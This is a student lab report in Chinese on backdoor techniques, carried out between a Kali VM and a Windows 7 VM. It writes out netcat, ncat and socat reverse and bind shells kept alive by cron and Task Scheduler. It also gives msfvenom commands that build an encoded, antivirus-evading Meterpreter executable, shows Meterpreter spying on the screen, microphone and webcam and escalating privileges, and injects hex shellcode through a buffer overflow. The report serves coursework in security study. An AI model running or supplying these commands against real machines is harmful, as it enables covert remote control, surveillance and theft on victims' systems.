2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践
1.实验内容
- (1)使用netcat获取主机操作Shell,cron启动
- (2)使用socat获取主机操作Shell, 任务计划启动
- (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。加分内容一并写入本实验报告。
实验环境
- 关闭防火墙的win7虚拟机,我的ip地址为: 192.168.235.138
- kali虚拟机.ip地址为: 192.168.235.137
- 两台虚拟机可以ping通
实验中用到的工具
- netcat。在linux下叫ncat,我们的kali机自带,可以直接用man ncat 命令查看。windows7中,直接在浏览器里从 GitHub下载或者从自己机子里拖拽进去。
- socat。netcat的增强版。安装方法同上。
- meterpreter。kali机自带,只在kali中用
实验步骤
1.使用netcat获取主机操作Shell,cron启动
win7为坏人,linux为受害者。cron启动
- win7监听,linux反弹连接
- win7中cmd窗口中输入: ncat.exe -l -p 9999 。 表示开始监听9999端口。注意,要在netcat所在的目录下进行输入。
- kali中输入命令 nc 192.168.235.138 9999 -e /bin/sh 。这时候win7的cmd窗口里就获取了linux的shell了
- cron启动。Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以" man cron "。这里的cron启动时去让linux受害者去定时反弹连接win7。
- 用 crontab -e 指令去增加一条定时任务,
- 格式如下
-
# m分钟 h小时 dom日期 mon月 dow周几 command执行的命令 12 * * * * /bin/netcat 192.168.235.138 9999 -e /bin/sh
- 写完输入指令 crontab -l 查看。
- 每个小时的第12分钟,kali中就会自动执行那条指令,所以如果目标ip138的机子整好就在9999端口监听,那这时候就138就会获得kali的后门。当然也可以正向连接,linux作为受害者,cron指令写成 nc -l -p 9999 -e /bin/sh ,然后坏人机win7中 nc IP 9999 ,也能获得shell
linux为坏人,win7为受害者。
- linux监听,输入命令 nc -l -p 9999
- win7去反弹连接,在ncat目录下输入 ncat.exe -e cmd.exe 192.168.235.137 9999
- 这时在linux中可以看到win7的cmd命令窗口
2.使用socat获取主机操作Shell。 任务计划启动
- 这意思是win7作为受害者,用系统里的任务计划启动,定时“要求被害”。所以,这里只做win7作为victim反向连接的。
- 用 man socat 命令查看socat的介绍及相关用法: (socat图)
- win7中打开控制面板,点击管理工具里的计划任务
- 点击右侧的 创建任务 ,在 常规 选项卡里填名称,自己以后要认得出来
- 点击 触发器 选项卡,选择新建,然后将开始任务设置为 工作站锁定时
- 再点击 操作 选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写 tcp-listen:5212 exec:cmd.exe,pty,stderr (作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上),点击确定 保存设置 :
- 点击左侧的 任务计划程序库 ,点击右边的 显示所有任务 ,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali
- 在Kali Linux中输入 socat - tcp:192.168.235.138:5212 命令,可以成功得到一个cmd shell:
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter. 揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
-
简单粗暴 msfvenom -p windows/meterpreter/reversetcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe 指令生成一个exe后门程序。完整指令是:
msfvenom -p windows/meterpreter/reversetcp -x ./fenix.exe -e x86/shikataganai -i 5 -b ‘x00’ LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe
-
参数说明:
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
- -e 使用的编码器,用于对shellcode变形,为了免杀
- -i 编码器的迭代次数。如上即使用该编码器编码5次
- -b badchar 是payload中需要去除的字符
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
- > 输出到哪个文件
- 现在文件生成好了,先再win7的命令行中输入 ncat -l 5212> 20165212backdoor.exe 开启监听并将接受的数据写入20165212backdoor.exe文件中
- 再kali中用 ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe 指令将数据传过去
- 彳亍,现在要用msf了,一个强大的平台。。。自己感受。kali中输入 msfconsole :
- 依次输入以下命令
-
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.235.137 //注意此处应为Linux的IP! set LPORT 5212 //后门程序里的端口号 show options exploit
-
-
说明:
- LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.235.137,坏人的ip
- LPORT也需要和上一步生成backdoor.exe的一致,即5212;
- payload也要一致,即windows/meterpreter/reverse_tcp
-
现在去win中双击运行20165212_backdoor.exe,点后win7没反应,然后切回kali,通过msf的监听进程获得win的主动链接,并得到远程控制shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 承接上面的。要是误操作什么的不小心关掉了其中什么东西也ok,win中任务管理器再进程中结束backdoor.exe,然后再照上面敲一遍。
-
获取截屏: screenshot (截屏命令图(抓的屏图12))
-
获取音频: record_mic
- .
-
获取摄像头和录像: webcam_snap / webcam_stream 。.
-
第一次没成功,错误提示如下 因为win7上没有装驱动 ,在虚拟机窗口右下角有个摄像头图标,点它就自动安装驱动了
-
-
但是这个很蠢,因为摄像头上的灯会亮,你偷拍别人会知道..
-
getuid 获取运行msf会话的用户名,从而查看当前会话具有的权限
- sysinfo 获得目标系统的信息,机器名、操作系统等
- shutdown 命令,建议不要过早的尝试这个命令
- ps 获得受害者机上运行 的进程信息
- migrate [] 命令,例如我把msf会话移植到1588 中,是explorer.exe,稳定的系统服务。从头想起,我们的实验是把受害者绑起来给他植入后门,很无脑。如果是正常的利用系统漏洞、浏览器漏洞溢出而得到的会话,比如IE浏览器,那么msf meterpreter代码存在于IE的内存空间中,那边关掉IE浏览器,msf会话就没了,但是若存在于 explorer这样稳定的系统服务中,就能一直用。而且,这种移植是“无缝移植”,不用断开已有的TCP连接。
- execute 命令,例如我直接与win的cmd.exe交互,输入 execute -H -i -f cmd.exe ,得到下图所示的shell
- upload / download 命令,顾名思义——往受害机传/从受害机下载 文件
- .
- cat / edit 命令,查看/编辑文本
- 权限提升: getsystem ,然后 getuid 查看权限(下图中好像已经是管理员权限)
-
更多的meterpreter常用指令可以通过输入 help 获取
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 这个任务是kali监听自己,自己用msfvenom -p linux/meterpreter/shell_reverse_tcp -b 'x00x0a' LHOST=192.168.235.137 LPORT=5212 -f c 命令生成一段shellcode,复制下来去文本里删掉所有引号和回车。如果后面 cat注入运行pwn1文件时 ps命令找不到pwn1进程,说明你的shellcode有坏字符。还有,生成的shellcode里不能有 0和 a,这两个字符会导致进程秒死- -。虽然指令已经屏蔽了这两个字符,但是编译器不靠谱,需要自己再去检查肉眼检查就彳亍。
- perl -e 'print "A" x 32;print "xa0xd2xffxffxdaxd5xd9x74x24xf4xbdxb2x18x85x38x5ax31xc9xb1x12x31x6ax17x83xeaxfcx03xd8x0bx67xcdx2dxf7x90xcdx1ex44x0cx78xa2xc3x53xccxc4x1ex13xbex51x11x2bx0cxe1x18x2dx77x89x5ax65x6cxc0x33x74x73xc6x9fxf1x92x56x79x52x04xc5x35x51x2fx08xf4xd6x7dxa2x69xf8xf2x5ax1ex29xdaxf8xb7xbcxc7xaex14x36xe6xfex90x85x69"' > input_try 命令生成input_try文件,要根据自己shellcode改!(这段shellcode的起始地址就是前4个字节是我已经找好地址的,正常流程需要像实验1一样在前面写1234然后去找地址,shellcode的起始地址应该就是esp里存的地址+4)
- 新终端里mfconsole命令运行msf,输入下列指令
-
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 192.168.235.137 //注意此处应为Linux的IP! set LPORT 5212 //后门程序里的端口号 show options exploit
- 然后在原来终端里(cat input_try;cat) | ./pwn1运行,回车一下,ok,然后等....等我找出毛病在哪(前面思路应该没问题,估计问题出在生成shellcode指令那里,因为找不到参考资料- -)
- 我试了127.0.0.1 回环地址和msf使用的5432端口生成shellcode,也是一样的监听不到。现在来回顾一下:首先,我用msfvenom命令生成了能反弹连接的shelldoce,假设这段shellcode能实现反弹连接功能,然后我把它注入到pwn1里,32个A覆盖缓冲区和esp,随后pwn1文件就会跳转到你shellcode的起始地址开始执行反弹连接操作,地址反复核对没问题,gdb调试注入后的pwn1文件能够看到esp后面内存里放的东西就是shellcode,意味着我这边运行注入的pwn1程序回车一下,会立刻跳到shellcode并运行,但是msf里监听不到连接。我认为是生成shellcode的指令有问题,就是那条msfvenom指令(生成linux系统下的), 书上和网上能找到的参考资料很有限,就是-playroad 后面的参数,我就找到了一篇博客涉及到写法,而且就写了3个词....做到这里,,有点绝望。我的思路应该没啥问题,希望大家可以针对我的上述操作哪些地方可能存在问题在评论区指出!
———————上面的一堆是失败的经过。。下面是成功的,但是是不符合要求的,随便看看就好———————
- 失败的原因在于我看的书、资料、博客太少了
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.235.137 LPORT=5212 -x /home/20165212/exp2/exp2+/pwn1 -f elf > pwn2 这个指令,直接msf再pwn1基础上生成一个注入了的shellcode的文件pwn2,然后去 msfconsole 运行msf,输入下列指令
-
use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.235.137 //注意此处应为Linux的IP! set LPORT 5212 //后门程序里的端口号 show options exploit
- 然后另个终端里chmod +x 赋执行权限,然后./pwn2那边就监听到了
———————下面是符合要求的、成功的!———————
- 这一项的要求:生成shellcode,注入pwn1文件,运行pwn1文件,pwn1进程经过缓冲区溢出后返回到shellcode的起始地址,然后开始去反弹连接坏人,坏人获得受害者的shell(这里面坏人和受害者都是linuxkali)
- 之前错因分析:msfvenom指令生成的shellcode代码存在问题,由于本人能力问题,没法找出机器码中的错误在哪。
- 步骤:https://www.exploit-db.com/shellcodes,这是一个shellcode网站,上面生成的的shellcode都是经过测试过可用的。在网站里找一个linux/x86平台的,反弹连接的shellcode,下载,复制出里面的机器码
-
- 然后再linux使用用这段shellcode生成input_1文件,当然了,前面要先通过gdb找好 shellcode的起始地址,写在最前面。具体命令是:
perl -e 'print "A" x 32;print "xa0xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_1
- 然后另一个新终端里msfconsole打开msf,接着输入以下指
-
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 //这两个都是根据你的shellcode来的 show options exploit
- 原终端里 (cat input_1;cat) | ./pwn1 运行pwn1,再回车一下,那边就能看到连接成功了
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
——玩游戏的会后开外挂,那时候我会自己关掉windows Defender和杀软。游戏外挂通过驱动劫持(声卡),在和服务器数据互动的时候实现篡改。或者是浏览器漏洞,例如我用edge浏览器写博客,它莫名其妙自己崩溃,还不保存!edge是win10自带 的一个浏览器,兼容性应该没问题,所以频繁崩溃的原因可能在于进程冲突、浏览器漏洞……
(2)例举你知道的后门如何启动起来(win及linux)的方式?
——我玩游戏开外挂,那个外挂程序就是一个后门,在我启动wegame时它会跟着启动(不隐藏),这应该是手动触发启动
(3)Meterpreter有哪些给你映像深刻的功能?
——shut down
(4)如何发现自己有系统有没有被安装后门?
——日志,进程查看
实验总结与体会
总结:
实验内容较多,尤其是是meterpreter实践,有很多很多事可以做,我只写了看起来重要且常用的一些指令,更多的请参考《Metasploit渗透测试魔鬼训练营》。本次实验在一个理想化程度很高的环境下完成,这样在现实中是没有任何意义的。相比较于msf中花里胡哨的操作,我觉得更重要的还是去研究有堆栈保护、有杀软、有防火墙的环境下如何渗透目标,哪怕是一个bit,因为要在那样的基础上我们后续的实验、操作才有可行性。或者是几个人凑各团队,每个人负责一块。
体会:
markdown里传图片功能坏了。。。针对第 5个任务,虽然现在做完了,但是我继续去用第一种思路调指令,调好了再改。大家有什么想法或者思路或者发现我哪里做得有问题 请不要吝啬啊,评论区互动